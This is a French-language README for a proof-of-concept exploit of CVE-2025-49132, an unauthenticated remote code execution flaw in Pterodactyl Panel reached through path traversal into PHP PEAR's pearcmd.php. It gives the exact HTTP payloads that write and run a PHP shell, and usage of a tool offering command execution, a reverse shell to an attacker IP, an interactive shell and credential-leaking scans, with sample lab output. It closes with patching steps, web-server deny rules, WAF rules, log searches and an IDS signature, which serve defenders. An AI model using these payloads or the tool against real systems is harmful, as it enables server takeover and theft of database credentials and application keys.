
CVE-2025-49132_PHP_PEAR_METHOD
Ce dépôt contient un exploit de preuve de concept (PoC) pour CVE-2025-49132, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Pterodactyl Panel versions antérieures à 1.11.11.
Pterodactyl Panel est un panneau de gestion de serveurs de jeux gratuit et open source développé en PHP. La vulnérabilité permet à un attaquant non authentifié d'exécuter des commandes système arbitraires sur le serveur cible via une gestion inappropriée du point de terminaison combinée à la fonctionnalité de PHP PEAR.
/locales/locale.jsonpearcmd.phpPHP PEAR (PHP Extension and Application Repository) est un framework et un système de distribution pour des composants PHP réutilisables. Il fournit un outil en ligne de commande (pearcmd.php) qui peut être utilisé pour gérer les paquets PEAR.
Le fichier pearcmd.php traite des commandes via des paramètres d'URL et, lorsqu'il est combiné à une traversée de chemin (path traversal), il peut être exploité pour :
La vulnérabilité existe parce que :
locale dans /locales/locale.json permet une traversée de chemin sans validation appropriéepearcmd.php accepte la commande +config-create qui peut écrire des fichiers PHP arbitrairesUn attaquant peut :
config-create pour écrire du code PHP malveillant dans /tmpL'exploit fonctionne en deux étapes :
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
Détail :
+config-create+/ — Appelle la fonctionnalité de création de configuration de PEARlocale=../../../../../../usr/share/php/PEAR — Traversée de chemin vers le répertoire PEARnamespace=pearcmd — Cible le fichier pearcmd.php<?=system('id')?>+/tmp/payload.php — Payload PHP et fichier de destinationGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
Détail :
locale=../../../../../../tmp — Traversée de chemin vers le répertoire /tmpnamespace=payload — Inclut et exécute payload.phpL'exploit nécessite l'envoi de caractères spéciaux (<, >, ?, =) dans l'URL sans les encoder. Si ces caractères sont encodés en URL :
<?=system('id')?> devient %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Attacker] -->|1. Path Traversal Request| B[locale.json]
B -->|2. Traverse to PEAR| C[pearcmd.php]
C -->|3. config-create Command| D[Write PHP Payload]
D -->|4. Create File| E[payload.php]
E -->|5. File Created| F[Server Filesystem]
A -->|6. Execution Request| G[locale.json]
G -->|7. Traverse to tmp| E
E -->|8. Include and Execute| H[PHP Interpreter]
H -->|9. System Command| I[Shell Command]
I -->|10. Command Output| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6bsequenceDiagram
participant Attacker
participant Web Server
participant PEAR
participant Filesystem
participant PHP Engine
Attacker->>Web Server: GET locale.json with config-create
Web Server->>PEAR: Path Traversal to pearcmd
PEAR->>Filesystem: Create payload.php
Filesystem-->>Attacker: 200 OK
Attacker->>Web Server: GET locale.json with payload namespace
Web Server->>Filesystem: Path Traversal to payload.php
Filesystem->>PHP Engine: Include payload
PHP Engine->>PHP Engine: Execute system command
PHP Engine-->>Attacker: Command Output RCErequestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
Ou manuellement :
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# Sur la machine de l'attaquant, démarrer un écouteur
nc -lvnp 4444
# Exécuter l'exploit avec le reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
Vérifie la présence de CVE-2025-49132 via les fuites de configuration (identifiants de base de données, clé d'application).
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
Affiche la progression détaillée (création du payload, chemin PEAR, statut d'exécution).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Target host (e.g., 192.168.1.100 or example.com)
-c COMMAND Command to execute on target system
-r REVERSE_SHELL Reverse shell (format: LHOST:LPORT)
--shell Interactive pseudo-shell mode
--fuzz Fuzz for PEAR installation paths
--scan Scan target for vulnerability (config leaks)
-p PEAR_PATH Custom PEAR path (default: /usr/share/php/PEAR)
-e ENDPOINT Vulnerable endpoint (default: /locales/locale.json)
--ssl Use HTTPS
--timeout TIMEOUT Request timeout in seconds (default: 10)
-v, --verbose Verbose progress output
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Utilisez -v pour une sortie détaillée (détails du payload, chemin PEAR, etc.).
# Terminal 1 : démarrer l'écouteur
$ nc -lvnp 4444
listening on [any] 4444 ...
# Terminal 2 : exécuter l'exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] Assurez-vous que votre écouteur est actif : nc -lvnp 4444
# Terminal 1 : recevoir la connexion
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
$ python3 poc.py -H panel.pterodactyl.htb --fuzz
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[+] 3 installation(s) PEAR potentielle(s) trouvée(s) :
/usr/share/php/PEAR
/usr/share/pear
/usr/local/lib/php/PEAR
[*] Utilisez l'option -p avec l'un de ces chemins pour l'exploitation
Utilisez -v pour voir la progression du fuzzing pour chaque chemin.
$ python3 poc.py -H panel.pterodactyl.htb --scan
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[*] Scan en cours : http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNÉRABLE — Identifiants de base de données divulgués
Hôte : 127.0.0.1
Port : 3306
Base de données : panel
Nom d'utilisateur : pterodactyl
Mot de passe : ********
Connexion : pterodactyl:********@127.0.0.1:3306/panel
[+] VULNÉRABLE — Configuration de l'application divulguée
Clé d'application : base64{...}
[!] ALERTE DE SÉCURITÉ : APP_KEY exposée !
-------------------------------------------------------
[+] La cible est VULNÉRABLE à CVE-2025-49132
Mettre à jour Pterodactyl Panel
cd /var/www/pterodactyl
php artisan p:upgrade
Mettez à jour vers la version 1.11.11 ou une version ultérieure.
Désactiver le point de terminaison vulnérable (contournement temporaire)
Ajoutez à la configuration de votre serveur web :
Apache (.htaccess) :
<Files "locale.json">
Order Allow,Deny
Deny from all
</Files>
Nginx :
location ~* /locales/locale\.json {
deny all;
return 403;
}
Remarque : cela cassera les fonctionnalités de localisation.
Pare-feu d'application web (WAF)
Implémentez des règles WAF pour bloquer les tentatives de traversée de chemin :
SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
locale et namespacerealpath() pour résoudre et valider les chemins de fichiersAnalyse des journaux — Recherchez des motifs suspects :
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log
# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1
Signatures IDS/IPS :
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt";
content:"/locales/locale.json"; http_uri;
content:"pearcmd"; http_uri;
content:"config-create"; http_uri;
sid:1000001; rev:1;)
UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ
Cet exploit de preuve de concept est fourni à des fins éducatives et de test de sécurité autorisé uniquement. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce programme.
L'accès non autorisé à des systèmes informatiques est illégal. Les utilisateurs sont responsables du respect des lois et réglementations applicables.
xffsec
| Contact |
|---|
| GitHub : @xffsec |
| E-mail : [email protected] |
Ce projet est sous licence MIT — voir le fichier LICENSE pour plus de détails.
Les contributions, les signalements de problèmes et les demandes de fonctionnalités sont les bienvenus ! N'hésitez pas à ouvrir un problème (issue) ou à soumettre une demande de tirage (pull request).
⚠️ Rappel : pratiquez toujours la divulgation responsable et n'exploitez jamais les vulnérabilités sans autorisation appropriée.